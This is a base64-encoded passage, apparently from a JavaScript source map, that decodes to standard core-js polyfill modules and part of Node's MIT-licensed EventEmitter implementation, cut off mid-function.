IHJldHVybiBudW1iZXIgIT0gbnVtYmVyO1xuICB9XG59KTtcbiIsIi8vIDE5LjEuMy4xIE9iamVjdC5hc3NpZ24odGFyZ2V0LCBzb3VyY2UpXG52YXIgJGV4cG9ydCA9IHJlcXVpcmUoJy4vX2V4cG9ydCcpO1xuXG4kZXhwb3J0KCRleHBvcnQuUyArICRleHBvcnQuRiwgJ09iamVjdCcsIHsgYXNzaWduOiByZXF1aXJlKCcuL19vYmplY3QtYXNzaWduJykgfSk7XG4iLCJ2YXIgJGV4cG9ydCA9IHJlcXVpcmUoJy4vX2V4cG9ydCcpO1xuLy8gMTkuMS4yLjQgLyAxNS4yLjMuNiBPYmplY3QuZGVmaW5lUHJvcGVydHkoTywgUCwgQXR0cmlidXRlcylcbiRleHBvcnQoJGV4cG9ydC5TICsgJGV4cG9ydC5GICogIXJlcXVpcmUoJy4vX2Rlc2NyaXB0b3JzJyksICdPYmplY3QnLCB7IGRlZmluZVByb3BlcnR5OiByZXF1aXJlKCcuL19vYmplY3QtZHAnKS5mIH0pO1xuIiwiLy8gMTkuMS4yLjE0IE9iamVjdC5rZXlzKE8pXG52YXIgdG9PYmplY3QgPSByZXF1aXJlKCcuL190by1vYmplY3QnKTtcbnZhciAka2V5cyA9IHJlcXVpcmUoJy4vX29iamVjdC1rZXlzJyk7XG5cbnJlcXVpcmUoJy4vX29iamVjdC1zYXAnKSgna2V5cycsIGZ1bmN0aW9uICgpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uIGtleXMoaXQpIHtcbiAgICByZXR1cm4gJGtleXModG9PYmplY3QoaXQpKTtcbiAgfTtcbn0pO1xuIiwiJ3VzZSBzdHJpY3QnO1xudmFyICRhdCA9IHJlcXVpcmUoJy4vX3N0cmluZy1hdCcpKHRydWUpO1xuXG4vLyAyMS4xLjMuMjcgU3RyaW5nLnByb3RvdHlwZVtAQGl0ZXJhdG9yXSgpXG5yZXF1aXJlKCcuL19pdGVyLWRlZmluZScpKFN0cmluZywgJ1N0cmluZycsIGZ1bmN0aW9uIChpdGVyYXRlZCkge1xuICB0aGlzLl90ID0gU3RyaW5nKGl0ZXJhdGVkKTsgLy8gdGFyZ2V0XG4gIHRoaXMuX2kgPSAwOyAgICAgICAgICAgICAgICAvLyBuZXh0IGluZGV4XG4vLyAyMS4xLjUuMi4xICVTdHJpbmdJdGVyYXRvclByb3RvdHlwZSUubmV4dCgpXG59LCBmdW5jdGlvbiAoKSB7XG4gIHZhciBPID0gdGhpcy5fdDtcbiAgdmFyIGluZGV4ID0gdGhpcy5faTtcbiAgdmFyIHBvaW50O1xuICBpZiAoaW5kZXggPj0gTy5sZW5ndGgpIHJldHVybiB7IHZhbHVlOiB1bmRlZmluZWQsIGRvbmU6IHRydWUgfTtcbiAgcG9pbnQgPSAkYXQoTywgaW5kZXgpO1xuICB0aGlzLl9pICs9IHBvaW50Lmxlbmd0aDtcbiAgcmV0dXJuIHsgdmFsdWU6IHBvaW50LCBkb25lOiBmYWxzZSB9O1xufSk7XG4iLCIvLyBodHRwczovL2dpdGh1Yi5jb20vdGMzOS9wcm9wb3NhbC1vYmplY3QtdmFsdWVzLWVudHJpZXNcbnZhciAkZXhwb3J0ID0gcmVxdWlyZSgnLi9fZXhwb3J0Jyk7XG52YXIgJGVudHJpZXMgPSByZXF1aXJlKCcuL19vYmplY3QtdG8tYXJyYXknKSh0cnVlKTtcblxuJGV4cG9ydCgkZXhwb3J0LlMsICdPYmplY3QnLCB7XG4gIGVudHJpZXM6IGZ1bmN0aW9uIGVudHJpZXMoaXQpIHtcbiAgICByZXR1cm4gJGVudHJpZXMoaXQpO1xuICB9XG59KTtcbiIsIi8vIGh0dHBzOi8vZ2l0aHViLmNvbS90YzM5L3Byb3Bvc2FsLW9iamVjdC12YWx1ZXMtZW50cmllc1xudmFyICRleHBvcnQgPSByZXF1aXJlKCcuL19leHBvcnQnKTtcbnZhciAkdmFsdWVzID0gcmVxdWlyZSgnLi9fb2JqZWN0LXRvLWFycmF5JykoZmFsc2UpO1xuXG4kZXhwb3J0KCRleHBvcnQuUywgJ09iamVjdCcsIHtcbiAgdmFsdWVzOiBmdW5jdGlvbiB2YWx1ZXMoaXQpIHtcbiAgICByZXR1cm4gJHZhbHVlcyhpdCk7XG4gIH1cbn0pO1xuIiwicmVxdWlyZSgnLi9lczYuYXJyYXkuaXRlcmF0b3InKTtcbnZhciBnbG9iYWwgPSByZXF1aXJlKCcuL19nbG9iYWwnKTtcbnZhciBoaWRlID0gcmVxdWlyZSgnLi9faGlkZScpO1xudmFyIEl0ZXJhdG9ycyA9IHJlcXVpcmUoJy4vX2l0ZXJhdG9ycycpO1xudmFyIFRPX1NUUklOR19UQUcgPSByZXF1aXJlKCcuL193a3MnKSgndG9TdHJpbmdUYWcnKTtcblxudmFyIERPTUl0ZXJhYmxlcyA9ICgnQ1NTUnVsZUxpc3QsQ1NTU3R5bGVEZWNsYXJhdGlvbixDU1NWYWx1ZUxpc3QsQ2xpZW50UmVjdExpc3QsRE9NUmVjdExpc3QsRE9NU3RyaW5nTGlzdCwnICtcbiAgJ0RPTVRva2VuTGlzdCxEYXRhVHJhbnNmZXJJdGVtTGlzdCxGaWxlTGlzdCxIVE1MQWxsQ29sbGVjdGlvbixIVE1MQ29sbGVjdGlvbixIVE1MRm9ybUVsZW1lbnQsSFRNTFNlbGVjdEVsZW1lbnQsJyArXG4gICdNZWRpYUxpc3QsTWltZVR5cGVBcnJheSxOYW1lZE5vZGVNYXAsTm9kZUxpc3QsUGFpbnRSZXF1ZXN0TGlzdCxQbHVnaW4sUGx1Z2luQXJyYXksU1ZHTGVuZ3RoTGlzdCxTVkdOdW1iZXJMaXN0LCcgK1xuICAnU1ZHUGF0aFNlZ0xpc3QsU1ZHUG9pbnRMaXN0LFNWR1N0cmluZ0xpc3QsU1ZHVHJhbnNmb3JtTGlzdCxTb3VyY2VCdWZmZXJMaXN0LFN0eWxlU2hlZXRMaXN0LFRleHRUcmFja0N1ZUxpc3QsJyArXG4gICdUZXh0VHJhY2tMaXN0LFRvdWNoTGlzdCcpLnNwbGl0KCcsJyk7XG5cbmZvciAodmFyIGkgPSAwOyBpIDwgRE9NSXRlcmFibGVzLmxlbmd0aDsgaSsrKSB7XG4gIHZhciBOQU1FID0gRE9NSXRlcmFibGVzW2ldO1xuICB2YXIgQ29sbGVjdGlvbiA9IGdsb2JhbFtOQU1FXTtcbiAgdmFyIHByb3RvID0gQ29sbGVjdGlvbiAmJiBDb2xsZWN0aW9uLnByb3RvdHlwZTtcbiAgaWYgKHByb3RvICYmICFwcm90b1tUT19TVFJJTkdfVEFHXSkgaGlkZShwcm90bywgVE9fU1RSSU5HX1RBRywgTkFNRSk7XG4gIEl0ZXJhdG9yc1tOQU1FXSA9IEl0ZXJhdG9ycy5BcnJheTtcbn1cbiIsIi8vIENvcHlyaWdodCBKb3llbnQsIEluYy4gYW5kIG90aGVyIE5vZGUgY29udHJpYnV0b3JzLlxuLy9cbi8vIFBlcm1pc3Npb24gaXMgaGVyZWJ5IGdyYW50ZWQsIGZyZWUgb2YgY2hhcmdlLCB0byBhbnkgcGVyc29uIG9idGFpbmluZyBhXG4vLyBjb3B5IG9mIHRoaXMgc29mdHdhcmUgYW5kIGFzc29jaWF0ZWQgZG9jdW1lbnRhdGlvbiBmaWxlcyAodGhlXG4vLyBcIlNvZnR3YXJlXCIpLCB0byBkZWFsIGluIHRoZSBTb2Z0d2FyZSB3aXRob3V0IHJlc3RyaWN0aW9uLCBpbmNsdWRpbmdcbi8vIHdpdGhvdXQgbGltaXRhdGlvbiB0aGUgcmlnaHRzIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBtZXJnZSwgcHVibGlzaCxcbi8vIGRpc3RyaWJ1dGUsIHN1YmxpY2Vuc2UsIGFuZC9vciBzZWxsIGNvcGllcyBvZiB0aGUgU29mdHdhcmUsIGFuZCB0byBwZXJtaXRcbi8vIHBlcnNvbnMgdG8gd2hvbSB0aGUgU29mdHdhcmUgaXMgZnVybmlzaGVkIHRvIGRvIHNvLCBzdWJqZWN0IHRvIHRoZVxuLy8gZm9sbG93aW5nIGNvbmRpdGlvbnM6XG4vL1xuLy8gVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUgaW5jbHVkZWRcbi8vIGluIGFsbCBjb3BpZXMgb3Igc3Vic3RhbnRpYWwgcG9ydGlvbnMgb2YgdGhlIFNvZnR3YXJlLlxuLy9cbi8vIFRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCBcIkFTIElTXCIsIFdJVEhPVVQgV0FSUkFOVFkgT0YgQU5ZIEtJTkQsIEVYUFJFU1Ncbi8vIE9SIElNUExJRUQsIElOQ0xVRElORyBCVVQgTk9UIExJTUlURUQgVE8gVEhFIFdBUlJBTlRJRVMgT0Zcbi8vIE1FUkNIQU5UQUJJTElUWSwgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU5cbi8vIE5PIEVWRU5UIFNIQUxMIFRIRSBBVVRIT1JTIE9SIENPUFlSSUdIVCBIT0xERVJTIEJFIExJQUJMRSBGT1IgQU5ZIENMQUlNLFxuLy8gREFNQUdFUyBPUiBPVEhFUiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQU4gQUNUSU9OIE9GIENPTlRSQUNULCBUT1JUIE9SXG4vLyBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwgT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFXG4vLyBVU0UgT1IgT1RIRVIgREVBTElOR1MgSU4gVEhFIFNPRlRXQVJFLlxuXG4ndXNlIHN0cmljdCc7XG5cbnZhciBSID0gdHlwZW9mIFJlZmxlY3QgPT09ICdvYmplY3QnID8gUmVmbGVjdCA6IG51bGxcbnZhciBSZWZsZWN0QXBwbHkgPSBSICYmIHR5cGVvZiBSLmFwcGx5ID09PSAnZnVuY3Rpb24nXG4gID8gUi5hcHBseVxuICA6IGZ1bmN0aW9uIFJlZmxlY3RBcHBseSh0YXJnZXQsIHJlY2VpdmVyLCBhcmdzKSB7XG4gICAgcmV0dXJuIEZ1bmN0aW9uLnByb3RvdHlwZS5hcHBseS5jYWxsKHRhcmdldCwgcmVjZWl2ZXIsIGFyZ3MpO1xuICB9XG5cbnZhciBSZWZsZWN0T3duS2V5c1xuaWYgKFIgJiYgdHlwZW9mIFIub3duS2V5cyA9PT0gJ2Z1bmN0aW9uJykge1xuICBSZWZsZWN0T3duS2V5cyA9IFIub3duS2V5c1xufSBlbHNlIGlmIChPYmplY3QuZ2V0T3duUHJvcGVydHlTeW1ib2xzKSB7XG4gIFJlZmxlY3RPd25LZXlzID0gZnVuY3Rpb24gUmVmbGVjdE93bktleXModGFyZ2V0KSB7XG4gICAgcmV0dXJuIE9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKHRhcmdldClcbiAgICAgIC5jb25jYXQoT2JqZWN0LmdldE93blByb3BlcnR5U3ltYm9scyh0YXJnZXQpKTtcbiAgfTtcbn0gZWxzZSB7XG4gIFJlZmxlY3RPd25LZXlzID0gZnVuY3Rpb24gUmVmbGVjdE93bktleXModGFyZ2V0KSB7XG4gICAgcmV0dXJuIE9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKHRhcmdldCk7XG4gIH07XG59XG5cbmZ1bmN0aW9uIFByb2Nlc3NFbWl0V2FybmluZyh3YXJuaW5nKSB7XG4gIGlmIChjb25zb2xlICYmIGNvbnNvbGUud2FybikgY29uc29sZS53YXJuKHdhcm5pbmcpO1xufVxuXG52YXIgTnVtYmVySXNOYU4gPSBOdW1iZXIuaXNOYU4gfHwgZnVuY3Rpb24gTnVtYmVySXNOYU4odmFsdWUpIHtcbiAgcmV0dXJuIHZhbHVlICE9PSB2YWx1ZTtcbn1cblxuZnVuY3Rpb24gRXZlbnRFbWl0dGVyKCkge1xuICBFdmVudEVtaXR0ZXIuaW5pdC5jYWxsKHRoaXMpO1xufVxubW9kdWxlLmV4cG9ydHMgPSBFdmVudEVtaXR0ZXI7XG5cbi8vIEJhY2t3YXJkcy1jb21wYXQgd2l0aCBub2RlIDAuMTAueFxuRXZlbnRFbWl0dGVyLkV2ZW50RW1pdHRlciA9IEV2ZW50RW1pdHRlcjtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5fZXZlbnRzID0gdW5kZWZpbmVkO1xuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5fZXZlbnRzQ291bnQgPSAwO1xuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5fbWF4TGlzdGVuZXJzID0gdW5kZWZpbmVkO1xuXG4vLyBCeSBkZWZhdWx0IEV2ZW50RW1pdHRlcnMgd2lsbCBwcmludCBhIHdhcm5pbmcgaWYgbW9yZSB0aGFuIDEwIGxpc3RlbmVycyBhcmVcbi8vIGFkZGVkIHRvIGl0LiBUaGlzIGlzIGEgdXNlZnVsIGRlZmF1bHQgd2hpY2ggaGVscHMgZmluZGluZyBtZW1vcnkgbGVha3MuXG52YXIgZGVmYXVsdE1heExpc3RlbmVycyA9IDEwO1xuXG5mdW5jdGlvbiBjaGVja0xpc3RlbmVyKGxpc3RlbmVyKSB7XG4gIGlmICh0eXBlb2YgbGlzdGVuZXIgIT09ICdmdW5jdGlvbicpIHtcbiAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdUaGUgXCJsaXN0ZW5lclwiIGFyZ3VtZW50IG11c3QgYmUgb2YgdHlwZSBGdW5jdGlvbi4gUmVjZWl2ZWQgdHlwZSAnICsgdHlwZW9mIGxpc3RlbmVyKTtcbiAgfVxufVxuXG5PYmplY3QuZGVmaW5lUHJvcGVydHkoRXZlbnRFbWl0dGVyLCAnZGVmYXVsdE1heExpc3RlbmVycycsIHtcbiAgZW51bWVyYWJsZTogdHJ1ZSxcbiAgZ2V0OiBmdW5jdGlvbigpIHtcbiAgICByZXR1cm4gZGVmYXVsdE1heExpc3RlbmVycztcbiAgfSxcbiAgc2V0OiBmdW5jdGlvbihhcmcpIHtcbiAgICBpZiAodHlwZW9mIGFyZyAhPT0gJ251bWJlcicgfHwgYXJnIDwgMCB8fCBOdW1iZXJJc05hTihhcmcpKSB7XG4gICAgICB0aHJvdyBuZXcgUmFuZ2VFcnJvcignVGhlIHZhbHVlIG9mIFwiZGVmYXVsdE1heExpc3RlbmVyc1wiIGlzIG91dCBvZiByYW5nZS4gSXQgbXVzdCBiZSBhIG5vbi1uZWdhdGl2ZSBudW1iZXIuIFJlY2VpdmVkICcgKyBhcmcgKyAnLicpO1xuICAgIH1cbiAgICBkZWZhdWx0TWF4TGlzdGVuZXJzID0gYXJnO1xuICB9XG59KTtcblxuRXZlbnRFbWl0dGVyLmluaXQgPSBmdW5jdGlvbigpIHtcblxuICBpZiAodGhpcy5fZXZlbnRzID09PSB1bmRlZmluZWQgfHxcbiAgICAgIHRoaXMuX2V2ZW50cyA9PT0gT2JqZWN0LmdldFByb3RvdHlwZU9mKHRoaXMpLl9ldmVudHMpIHtcbiAgICB0aGlzLl9ldmVudHMgPSBPYmplY3QuY3JlYXRlKG51bGwpO1xuICAgIHRoaXMuX2V2ZW50c0NvdW50ID0gMDtcbiAgfVxuXG4gIHRoaXMuX21heExpc3RlbmVycyA9IHRoaXMuX21heExpc3RlbmVycyB8fCB1bmRlZmluZWQ7XG59O1xuXG4vLyBPYnZpb3VzbHkgbm90IGFsbCBFbWl0dGVycyBzaG91bGQgYmUgbGltaXRlZCB0byAxMC4gVGhpcyBmdW5jdGlvbiBhbGxvd3Ncbi8vIHRoYXQgdG8gYmUgaW5jcmVhc2VkLiBTZXQgdG8gemVybyBmb3IgdW5saW1pdGVkLlxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5zZXRNYXhMaXN0ZW5lcnMgPSBmdW5jdGlvbiBzZXRNYXhMaXN0ZW5lcnMobikge1xuICBpZiAodHlwZW9mIG4gIT09ICdudW1iZXInIHx8IG4gPCAwIHx8IE51bWJlcklzTmFOKG4pKSB7XG4gICAgdGhyb3cgbmV3IFJhbmdlRXJyb3IoJ1RoZSB2YWx1ZSBvZiBcIm5cIiBpcyBvdXQgb2YgcmFuZ2UuIEl0IG11c3QgYmUgYSBub24tbmVnYXRpdmUgbnVtYmVyLiBSZWNlaXZlZCAnICsgbiArICcuJyk7XG4gIH1cbiAgdGhpcy5fbWF4TGlzdGVuZXJzID0gbjtcbiAgcmV0dXJuIHRoaXM7XG59O1xuXG5mdW5jdGlvbiBfZ2V0TWF4TGlzdGVuZXJzKHRoYXQpIHtcbiAgaWYgKHRoYXQuX21heExpc3RlbmVycyA9PT0gdW5kZWZpbmVkKVxuICAgIHJldHVybiBFdmVudEVtaXR0ZXIuZGVmYXVsdE1heExpc3RlbmVycztcbiAgcmV0dXJuIHRoYXQuX21heExpc3RlbmVycztcbn1cblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5nZXRNYXhMaXN0ZW5lcnMgPSBmdW5jdGlvbiBnZXRNYXhMaXN0ZW5lcnMoKSB7XG4gIHJldHVybiBfZ2V0TWF4TGlzdGVuZXJzKHRoaXMpO1xufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5lbWl0ID0gZnVuY3Rpb24gZW1pdCh0eXBlKSB7XG4gIHZhciBhcmdzID0gW107XG4gIGZvciAodmFyIGkgPSAxOyBpIDwgYXJndW1lbnRzLmxlbmd0aDsgaSsrKSBhcmdzLnB1c2goYXJndW1lbnRzW2ldKTtcbiAgdmFyIGRvRXJyb3IgPSAodHlwZSA9PT0gJ2Vycm9yJyk7XG5cbiAgdmFyIGV2ZW50cyA9IHRoaXMuX2V2ZW50cztcbiAgaWYgKGV2ZW50cyAhPT0gdW5kZWZpbmVkKVxuICAgIGRvRXJyb3IgPSAoZG9FcnJvciAmJiBldmVudHMuZXJyb3IgPT09IHVuZGVmaW5lZCk7XG4gIGVsc2UgaWYgKCFkb0Vycm9yKVxuICAgIHJldHVybiBmYWxzZTtcblxuICAvLyBJZiB0aGVyZSBpcyBubyAnZXJyb3InIGV2ZW50IGxpc3RlbmVyIHRoZW4gdGhyb3cuXG4gIGlmIChkb0Vycm9yKSB7XG4gICAgdmFyIGVyO1xuICAgIGlmIChhcmdzLmxlbmd0aCA+IDApXG4gICAgICBlciA9IGFyZ3NbMF07XG4gICAgaWYgKGVyIGluc3RhbmNlb2YgRXJyb3IpIHtcbiAgICAgIC8vIE5vdGU6IFRoZSBjb21tZW50cyBvbiB0aGUgYHRocm93YCBsaW5lcyBhcmUgaW50ZW50aW9uYWwsIHRoZXkgc2hvd1xuICAgICAgLy8gdXAgaW4gTm9kZSdzIG91dHB1dCBpZiB0aGlzIHJlc3VsdHMgaW4gYW4gdW5oYW5kbGVkIGV4Y2VwdGlvbi5cbiAgICAgIHRocm93IGVyOyAvLyBVbmhhbmRsZWQgJ2Vycm9yJyBldmVudFxuICAgIH1cbiAgICAvLyBBdCBsZWFzdCBnaXZlIHNvbWUga2luZCBvZiBjb250ZXh0IHRvIHRoZSB1c2VyXG4gICAgdmFyIGVyciA9IG5ldyBFcnJvcignVW5oYW5kbGVkIGVycm9yLicgKyAoZXIgPyAnICgnICsgZXIubWVzc2FnZSArICcpJyA6ICcnKSk7XG4gICAgZXJyLmNvbnRleHQgPSBlcjtcbiAgICB0aHJvdyBlcnI7IC8vIFVuaGFuZGxlZCAnZXJyb3InIGV2ZW50XG4gIH1cblxuICB2YXIgaGFuZGxlciA9IGV2ZW50c1t0eXBlXTtcblxuICBpZiAoaGFuZGxlciA9PT0gdW5kZWZpbmVkKVxuICAgIHJldHVybiBmYWxzZTtcblxuICBpZiAodHlwZW9mIGhhbmRsZXIgPT09ICdmdW5jdGlvbicpIHtcbiAgICBSZWZsZWN0QXBwbHkoaGFuZGxlciwgdGhpcywgYXJncyk7XG4gIH0gZWxzZSB7XG4gICAgdmFyIGxlbiA9IGhhbmRsZXIubGVuZ3RoO1xuICAgIHZhciBsaXN0ZW5lcnMgPSBhcnJheUNsb25lKGhhbmRsZXIsIGxlbik7XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBsZW47ICsraSlcbiAgICAgIFJlZmxlY3RBcHBseShsaXN0ZW5lcnNbaV0sIHRoaXMsIGFyZ3MpO1xuICB9XG5cbiAgcmV0dXJuIHRydWU7XG59O1xuXG5mdW5jdGlvbiBfYWRkTGlzdGVuZXIodGFyZ2V0LCB0eXBlLCBsaXN0ZW5lciwgcHJlcGVuZCkge1xuICB2YXIgbTtcbiAgdmFyIGV2ZW50cztcbiAgdmFyIGV4aXN0aW5nO1xuXG4gIGNoZWNrTGlzdGVuZXIobGlzdGVuZXIpO1xuXG4gIGV2ZW50cyA9IHRhcmdldC5fZXZlbnRzO1xuICBpZiAoZXZlbnRzID09PSB1bmRlZmluZWQpIHtcbiAgICBldmVudHMgPSB0YXJnZXQuX2V2ZW50cyA9IE9iamVjdC5jcmVhdGUobnVsbCk7XG4gICAgdGFyZ2V0Ll9ldmVudHNDb3VudCA9IDA7XG4gIH0gZWxzZSB7XG4gICAgLy8gVG8gYXZvaWQgcmVjdXJzaW9uIGluIHRoZSBjYXNlIHRoYXQgdHlwZSA9PT0gXCJuZXdMaXN0ZW5lclwiISBCZWZvcmVcbiAgICAvLyBhZGRpbmcgaXQgdG8gdGhlIGxpc3RlbmVycywgZmlyc3QgZW1pdCBcIm5ld0xpc3RlbmVyXCIuXG4gICAgaWYgKGV2ZW50cy5uZXdMaXN0ZW5lciAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICB0YXJnZXQuZW1pdCgnbmV3TGlzdGVuZXInLCB0eXBlLFxuICAgICAgICAgICAgICAgICAgbGlzdGVuZXIubGlzdGVuZXIgPyBsaXN0ZW5lci5saXN0ZW5lciA6IGxpc3RlbmVyKTtcblxuICAgICAgLy8gUmUtYXNzaWduIGBldmVudHNgIGJlY2F1c2UgYSBuZXdMaXN0ZW5lciBoYW5kbGVyIGNvdWxkIGhhdmUgY2F1c2VkIHRoZVxuICAgICAgLy8gdGhpcy5fZXZlbnRzIHRvIGJlIGFzc2lnbmVkIHRvIGEgbmV3IG9iamVjdFxuICAgICAgZXZlbnRzID0gdGFyZ2V0Ll9ldmVudHM7XG4gICAgfVxuICAgIGV4aXN0aW5nID0gZXZlbnRzW3R5cGVdO1xuICB9XG5cbiAgaWYgKGV4aXN0aW5nID09PSB1bmRlZmluZWQpIHtcbiAgICAvLyBPcHRpbWl6ZSB0aGUgY2FzZSBvZiBvbmUgbGlzdGVuZXIuIERvbid0IG5lZWQgdGhlIGV4dHJhIGFycmF5IG9iamVjdC5cbiAgICBleGlzdGluZyA9IGV2ZW50c1t0eXBlXSA9IGxpc3RlbmVyO1xuICAgICsrdGFyZ2V0Ll9ldmVudHNDb3VudDtcbiAgfSBlbHNlIHtcbiAgICBpZiAodHlwZW9mIGV4aXN0aW5nID09PSAnZnVuY3Rpb24nKSB7XG4gICAgICAvLyBBZGRpbmcgdGhlIHNlY29uZCBlbGVtZW50LCBuZWVkIHRvIGNoYW5nZSB0byBhcnJheS5cbiAgICAgIGV4aXN0aW5nID0gZXZlbnRzW3R5cGVdID1cbiAgICAgICAgcHJlcGVuZCA/IFtsaXN0ZW5lciwgZXhpc3RpbmddIDogW2V4aXN0aW5nLCBsaXN0ZW5lcl07XG4gICAgICAvLyBJZiB3ZSd2ZSBhbHJlYWR5IGdvdCBhbiBhcnJheSwganVzdCBhcHBlbmQuXG4gICAgfSBlbHNlIGlmIChwcmVwZW5kKSB7XG4gICAgICBleGlzdGluZy51bnNoaWZ0KGxpc3RlbmVyKTtcbiAgICB9IGVsc2Uge1xuICAgICAgZXhpc3RpbmcucHVzaChsaXN0ZW5lcik7XG4gICAgfVxuXG4gICAgLy8gQ2hlY2sgZm9yIGxpc3RlbmVyIGxlYWtcbiAgICBtID0gX2dldE1heExpc3RlbmVycyh0YXJnZXQpO1xuICAgIGlmIChtID4gMCAmJiBleGlzdGluZy5sZW5ndGggPiBtICYmICFleGlzdGluZy53YXJuZWQpIHtcbiAgICAgIGV4aXN0aW5nLndhcm5lZCA9IHRydWU7XG4gICAgICAvLyBObyBlcnJvciBjb2RlIGZvciB0aGlzIHNpbmNlIGl0IGlzIGEgV2FybmluZ1xuICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXJlc3RyaWN0ZWQtc3ludGF4XG4gICAgICB2YXIgdyA9IG5ldyBFcnJvcignUG9zc2libGUgRXZlbnRFbWl0dGVyIG1lbW9yeSBsZWFrIGRldGVjdGVkLiAnICtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpc3RpbmcubGVuZ3RoICsgJyAnICsgU3RyaW5nKHR5cGUpICsgJyBsaXN0ZW5lcnMgJyArXG4gICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRlZC4gVXNlIGVtaXR0ZXIuc2V0TWF4TGlzdGVuZXJzKCkgdG8gJyArXG4gICAgICAgICAgICAgICAgICAgICAgICAgICdpbmNyZWFzZSBsaW1pdCcpO1xuICAgICAgdy5uYW1lID0gJ01heExpc3RlbmVyc0V4Y2VlZGVkV2FybmluZyc7XG4gICAgICB3LmVtaXR0ZXIgPSB0YXJnZXQ7XG4gICAgICB3LnR5cGUgPSB0eXBlO1xuICAgICAgdy5jb3VudCA9IGV4aXN0aW5nLmxlbmd0aDtcbiAgICAgIFByb2Nlc3NFbWl0V2FybmluZyh3KTtcbiAgICB9XG4gIH1cblxuICByZXR1cm4gdGFyZ2V0O1xufVxuXG5FdmVudEVtaXR0ZXIucHJvdG90eXBlLmFkZExpc3RlbmVyID0gZnVuY3Rpb24gYWRkTGlzdGVuZXIodHlwZSwgbGlzdGVuZXIpIHtcbiAgcmV0dXJuIF9hZGRMaXN0ZW5lcih0aGlzLCB0eXBlLCBsaXN0ZW5lciwgZmFsc2UpO1xufTtcblxuRXZlbnRFbWl0dGVyLnByb3RvdHlwZS5vbiA9IEV2ZW50RW1pdHRlci5wcm90b3R5cGUuYWRkTGlzdGVuZXI7XG5cbkV2ZW50RW1pdHRlci5wcm90b3R5cGUucHJlcGVuZExpc3RlbmVyID1cbiAgICBmdW5jdGlvbiBwcmVwZW5kTGlzdGVuZXIodHlwZSwgbGlzdGVuZXIpIHtcbiAgICAgIHJldHVybiBfYWRkTGlzdGVuZXIodGhpcywgdHlwZSwgbGlzdGVuZXIsIHRydWUpO1xuICAgIH07XG5cbmZ1bmN0aW9uIG9uY2VXcmFwcGVyKCkge1xuICBpZiAoIXRoaXMuZmlyZWQpIHtcbiAgICB0aGlzLnRhcmdldC5yZW1vdmVMaXN0ZW5lcih0aGlzLnR5cGUsIHRoaXMud3JhcEZuKTtcbiAgICB0aGlzLmZpcmVkID0gdHJ1ZTtcbiAgICBpZiAoYXJndW1lbnRzLmxlbmd0aCA9PT0gMClcbiAgICAgIHJldHVybiB0aGlzLmxpc3RlbmVyLmNhbGwodGhpcy50YXJnZXQpO1xuICAgIHJldHVybiB0aGlzLmxpc3RlbmVyLmFwcGx5KHRoaXMudGFyZ2V0LCBhcmd1bWVudHMpO1xuICB9XG59XG5cbmZ1bmN0aW9uIF9vbmNlV3JhcCh0YXJnZXQsIHR5cGUsIGxpc3RlbmVyKSB7XG4gIHZhciBzdGF0ZSA9IHsgZmlyZWQ6IGZhbHNlLCB3cmFwRm46IHVuZGVmaW5lZCwgdGFyZ2V0OiB0YXJnZXQsIHR5cGU6IHR5cGUsIGxpc3RlbmVyOiBsaXN0ZW5lciB9O1xuICB2YXIgd3JhcHBlZCA9IG9uY2VXcmFwcGVyLmJpbmQoc3RhdGUpO1xuICB3cmFwcGVkLmxpc3RlbmVyID0gbGlzdGVuZXI7XG4gIHN0YXRlLndyYXBGbiA9IHdyYXBwZWQ7XG4gIHJldHVybiB3cmFwcGVkO1xufVxuXG5FdmVudEVtaXR0ZXIucHJvdG90eXBlLm9uY2UgPSBmdW5jdGlvbiBvbmNlKHR5cGUsIGxpc3RlbmVyKSB7XG4gIGNoZWNrTGlzdGVuZXIobGlzdGVuZXIpO1xuICB0aGlzLm9uKHR5cGUsIF9vbmNlV3JhcCh0aGlzLCB0eXBlLCBsaXN0ZW5lcikpO1xuICByZXR1cm4gdGhpcztcbn07XG5cbkV2ZW50RW1pdHRlci5wcm90b3R5cGUucHJlcGVuZE9uY2VMaXN0ZW5lciA9XG4gICAgZnVuY3Rpb24gcHJlcGVuZE9uY2VMaXN0ZW5lcih0eXBlLCBsaXN0ZW5lcikge1xuICAgICAgY2hlY2tMaXN0ZW5lcihsaXN0ZW5lcik7XG4gICAgICB0aGlzLnByZXBlbmRMaXN0ZW5lcih0eXBlLCBfb25jZVdyYXAodGhpcywgdHlwZSwgbGlzdGVuZXIpKTtcbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH07XG5cbi8vIEVtaXRzIGEgJ3JlbW92ZUxpc3RlbmVyJyBldmVudCBpZiBhbmQgb25seSBpZiB0aGUgbGlzdGVuZXIgd2FzIHJlbW92ZWQuXG5FdmVudEVtaXR0ZXIucHJvdG90eXBlLnJlbW92ZUxpc3RlbmVyID1cbiAgICBmdW5jdGlvbiByZW1vdmVMaXN0ZW5lcih0eXBlLCBsaXN0ZW5lcikge1xuICAgICAgdmFyIGxpc3QsIGV2ZW50cywgcG9zaXRpb24sIGksIG9yaWdpbmFsTGlzdGVuZXI7XG5cbiAgICAgIGNoZWNrTGlzdGVuZXIobGlzdGVuZXIpO1xuXG4gICAgICBldmVudHMgPSB0aGlzLl9ldmV